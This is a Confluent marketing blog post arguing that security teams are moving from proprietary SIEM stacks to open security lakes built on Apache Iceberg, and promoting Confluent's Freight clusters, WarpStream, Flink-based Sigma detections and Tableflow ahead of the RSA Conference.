The Rise of the Open Security Lake: Why CISOs Are Betting on Open Table Formats

As we head into the RSA Conference this year, the conversation on the show floor is going to be different. Yes, artificial intelligence (AI) will be everywhere. But if you listen closely to the C-suite discussions happening behind closed doors, the real buzz isn't just about the newest detection algorithm. It’s about data gravity and the unprecedented data explosion driven by AI-fueled bad actors.

For the last decade, the security architecture playbook was simple. An organization would buy a security information and event management (SIEM) solution, point every log possible at it, and write a massive check every renewal season. As log volumes skyrocketed, these legacy architectures simply couldn’t scale technically or cost-effectively to handle the sheer volume of data that needed to be processed. Outdated SIEMs hit ingestion bottlenecks, leaving dangerous blind spots across organizations.

To try to speed up how we act on those detections, the industry bolted on security orchestration, automation, and response (SOAR) platforms. But let’s be clear: SOAR didn’t solve the overwhelming noise and complexity directly. It helped scale responses, but only if the data bottleneck in front of it could be handled. Instead, we ended up treating this SIEM/SOAR stack as a black hole. We dumped data into computationally intensive tools, but getting true value out of them required a proprietary key, a steep learning curve, and a bottomless budget.  

That architecture has hit its breaking point. In my recent conversations with CISOs, they’re telling me they’re done waiting on vendors to solve the cost-complexity curve. They’re actively building their own managed security lakes. And, crucially, many are now betting on Apache Iceberg™ to do it.

The End of the Proprietary Silo

In the world of cloud analytics, open table formats like Iceberg changed the game by breaking vendor lock-in. You could store your data in an open format and bring any compute engine you wanted to it—Snowflake, Databricks, Trino, you name it.

Now, we’re seeing that exact same seismic shift hit the security landscape.

For years, cloud-native security tools used Amazon S3 for scale but kept the architecture proprietary. That era is ending. Modern CISOs realize that data is their most strategic asset and that locking it into a single proprietary silo is a strategic risk. They need a decoupled architecture where they own the data and vendors compete to provide the best analytics on top of it.

This is the dawn of the Open Security Lake.

The New Data Supply Chain

Importantly, this shift doesn’t mean SIEM is going away. In fact, with the rise of AI-driven attacks, security budgets and requirements are increasing. But SIEM is being forced to evolve around the security lake and is no longer the only destination. It’s becoming the tip of the spear for high-value, high-context analysis while the Open Security Lake handles the massive volume of forensic data.

To win in this new environment, we have to move from a “collect everything” mindset to a “curate and route” strategy. This is where the data streaming platform becomes the central nervous system of the security operations center.

We’re seeing a bifurcated approach to data handling:

1. Ingestion and Routing – Tools like data streaming platforms are taking over the high-volume routing and low-latency correlation.

2. Storage and Forensics – Iceberg is becoming the standard for cost-effective, large-scale storage.

Breaking the Cost Curve With Freight and WarpStream

Let’s be honest about observability economics. Security teams are drowning in data. Ingestion-based pricing models are the enemy of visibility, forcing you to choose between blind spots and bankruptcy.

At Confluent, we’re tackling this head-on. We’re giving security teams the ability to tear down the haystack to find the needle. By shifting data processing left and filtering, aggregating, and enriching data in the stream, we can slash downstream SIEM costs by 30%–50%.

We’ve introduced Freight clusters specifically for this high-throughput logging use case, allowing you to stream massive volumes of observability data without the premium price tag. And with WarpStream, we’re offering a Bring Your Own Cloud (BYOC) option that writes directly to commodity object storage. It’s the cost profile of a data lake with the API of Apache Kafka®.

This isn't just about saving money; it's about durability. If your SIEM node or ingestion pipeline fails, you shouldn't lose your forensic history. A durable, decoupled data platform ensures that your data survives infrastructure failures.

Shifting Detection Left With Apache Flink® and SOC Prime

The other major shift in the observability market is latency. Waiting for data to land in a bucket and be indexed and then queried is often too slow for modern threats. Organizations need to detect threats the moment they happen.

This is why Confluent’s partnership with SOC Prime is so exciting. Organizations can now run machine learning and pre-built detections and routing based on open standard rules (Sigma) directly on Apache Flink®.

Think about the power of that. You aren't just routing data; you’re also applying threat intelligence to the stream in real time. You get the usability that analysts need through standardized rule sets without the platform lock-in they dislike. You can flag an anomaly, trigger an automation, or block a transaction before the damage is done.

Zero-ETL Security Lakes With Tableflow

The final piece of the puzzle is friction. Historically, feeding a data lake from a stream was a nightmare of complex ETL pipelines.

With Tableflow, we’ve made this invisible. You can turn a Kafka topic into an Iceberg table with a single click. Your real-time security logs are instantly available in your Open Security Lake for retrospective hunting, compliance reporting, or AI model training, without the need to manage a single complex pipeline.

The Goal: A Smarter Ecosystem

The goal isn’t to replace SIEM. It’s to make it part of a smarter, open data supply chain.

By embracing the Open Security Lake and Apache Iceberg, CISOs can finally invert the power dynamic. They stop working for their tools, and their tools start working for their data. They gain the flexibility to swap vendors without losing history, the power to inspect data in real time, and the budget to retain the logs that matter.

This is the future of observability. It’s open, it’s real-time, and it’s data-centric.

Join the Conversation at RSA

If you’re attending the RSA Conference and want to go deeper into how Confluent is enabling the Open Security Lake, we’d love to connect. If you’re interested in joining us, please email nkirkland@confluent.io. 

Apache®, Apache Kafka®, Kafka®, Apache Flink®, Flink®, Apache Iceberg™, Iceberg™, and their respective logos are either trademarks or registered trademarks of the Apache Software Foundation. No endorsement by the Apache Software Foundation is implied by the use of these marks.